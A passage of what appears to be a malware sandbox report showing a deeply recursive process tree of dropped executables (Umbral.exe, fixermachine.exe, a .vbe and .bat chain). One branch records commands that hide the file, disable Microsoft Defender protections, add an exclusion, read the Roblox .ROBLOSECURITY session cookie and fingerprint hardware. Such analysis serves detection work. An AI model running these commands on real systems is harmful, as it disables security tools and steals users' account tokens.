        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        37⤵
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        37⤵
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        38⤵
        
        PID:2032
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        39⤵
        
        PID:2452
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        40⤵
        Loads dropped DLL
        
        PID:1628
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        41⤵
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        35⤵
        
        PID:976
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        36⤵
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        36⤵
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        37⤵
        System Location Discovery: System Language Discovery
        
        PID:2436
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        38⤵
        
        PID:2280
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        39⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1804
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        40⤵
        
        PID:2144
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        34⤵
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        35⤵
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        35⤵
        
        PID:3052
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        36⤵
        
        PID:2924
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        37⤵
        
        PID:1988
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        38⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2848
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        39⤵
        
        PID:1744
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        33⤵
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        34⤵
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        34⤵
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        35⤵
        
        PID:2144
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        36⤵
        
        PID:1536
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        37⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2532
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        38⤵
        
        PID:2768
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        32⤵
        
        PID:376
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        33⤵
        
        PID:2896
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        33⤵
        
        PID:1328
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        34⤵
        
        PID:2624
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        35⤵
        System Location Discovery: System Language Discovery
        
        PID:1044
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        36⤵
        Loads dropped DLL
        
        PID:2216
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        37⤵
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        31⤵
        
        PID:3000
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        32⤵
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        32⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        33⤵
        
        PID:1544
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        34⤵
        
        PID:2064
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        35⤵
        Loads dropped DLL
        
        PID:2444
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        36⤵
        
        PID:2756
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        30⤵
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        31⤵
        
        PID:2864
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        31⤵
        
        PID:3012
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        32⤵
        
        PID:1536
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        33⤵
        
        PID:2620
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        34⤵
        Loads dropped DLL
        
        PID:984
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        35⤵
        
        PID:1520
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        29⤵
        
        PID:1644
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        30⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        30⤵
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        31⤵
        
        PID:2344
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        32⤵
        System Location Discovery: System Language Discovery
        
        PID:2100
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        33⤵
        Loads dropped DLL
        
        PID:2636
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        34⤵
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        28⤵
        
        PID:2472
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        29⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        29⤵
        
        PID:1556
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        30⤵
        
        PID:2672
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        31⤵
        System Location Discovery: System Language Discovery
        
        PID:1340
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        32⤵
        Loads dropped DLL
        
        PID:2224
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        33⤵
        
        PID:1812
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        27⤵
        
        PID:2616
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        28⤵
        
        PID:1264
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        28⤵
        
        PID:2156
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        29⤵
        
        PID:1804
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        30⤵
        
        PID:1396
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        31⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2960
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        32⤵
        
        PID:2380
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        26⤵
        
        PID:1376
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        27⤵
        
        PID:1904
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        27⤵
        
        PID:3016
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        28⤵
        
        PID:1784
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        29⤵
        
        PID:1332
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        30⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:868
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        31⤵
        
        PID:2492
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        25⤵
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        26⤵
        
        PID:2068
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        26⤵
        
        PID:2564
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        27⤵
        System Location Discovery: System Language Discovery
        
        PID:1988
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        28⤵
        
        PID:2408
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        29⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2332
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        30⤵
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        24⤵
        
        PID:296
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        25⤵
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        25⤵
        
        PID:2800
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        26⤵
        
        PID:1232
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        27⤵
        
        PID:1940
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        28⤵
        Loads dropped DLL
        
        PID:2352
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        29⤵
        
        PID:316
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        23⤵
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        24⤵
        Drops file in Drivers directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2468
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        25⤵
        
        PID:2732
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        25⤵
        Views/modifies file attributes
        
        PID:1124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        25⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1620
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        25⤵
        
        PID:1920
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        25⤵
        
        PID:1612
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        25⤵
        
        PID:2736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2980
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        25⤵
        Detects videocard installed
        
        PID:1652
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        25⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3048
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        26⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2144
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        24⤵
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        25⤵
        
        PID:2860
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        26⤵
        
        PID:1632
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        27⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:800
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        28⤵
        
        PID:2652
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        22⤵
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        23⤵
        
        PID:544
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        23⤵
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        24⤵
        
        PID:2932
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        25⤵
        
        PID:1692
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        26⤵
        Loads dropped DLL
        
        PID:1568
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        27⤵
        
        PID:2368
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        21⤵
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        22⤵
        
        PID:1268
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        22⤵
        
        PID:2624
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        23⤵
        System Location Discovery: System Language Discovery
        
        PID:2024
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        24⤵
        
        PID:316
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        25⤵
        Loads dropped DLL
        
        PID:2908
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        26⤵
        
        PID:1048
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        20⤵
        
        PID:2932
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        21⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        21⤵
        
        PID:1052
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        22⤵
        System Location Discovery: System Language Discovery
        
        PID:2884
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        23⤵
        
        PID:2904
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        24⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2744
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        25⤵
        
        PID:352
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        19⤵
        
        PID:2236
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        20⤵
        
        PID:544
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        20⤵
        
        PID:2272
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        21⤵
        
        PID:1352
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        22⤵
        
        PID:1756
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        23⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2288
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        24⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        18⤵
        
        PID:2632
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        19⤵
        
        PID:2832
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        19⤵
        
        PID:2000
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        20⤵
        
        PID:1328
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        21⤵
        
        PID:2204
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        22⤵
        Loads dropped DLL
        
        PID:2332
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        23⤵
        
        PID:1848
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        17⤵
        
        PID:1520
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        18⤵
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        18⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        19⤵
        
        PID:1084
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        20⤵
        System Location Discovery: System Language Discovery
        
        PID:2744
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        21⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3068
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        22⤵
        
        PID:1348
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        16⤵
        
        PID:1252
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        17⤵
        
        PID:1768
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        17⤵
        
        PID:2796
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        18⤵
        
        PID:2488
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        19⤵
        
        PID:1732
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        20⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1720
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        21⤵
        
        PID:1536
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        15⤵
        Executes dropped EXE
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        16⤵
        
        PID:1148
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        16⤵
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        17⤵
        System Location Discovery: System Language Discovery
        
        PID:2564
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        18⤵
        System Location Discovery: System Language Discovery
        
        PID:924
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        19⤵
        Loads dropped DLL
        
        PID:804
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        20⤵
        
        PID:1076
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        14⤵
        Executes dropped EXE
        
        PID:2632
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        15⤵
        Executes dropped EXE
        
        PID:1664
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        15⤵
        Executes dropped EXE
        
        PID:2764
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        16⤵
        
        PID:2080
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        17⤵
        
        PID:408
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        18⤵
        Loads dropped DLL
        
        PID:2212
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        19⤵
        
        PID:628
        
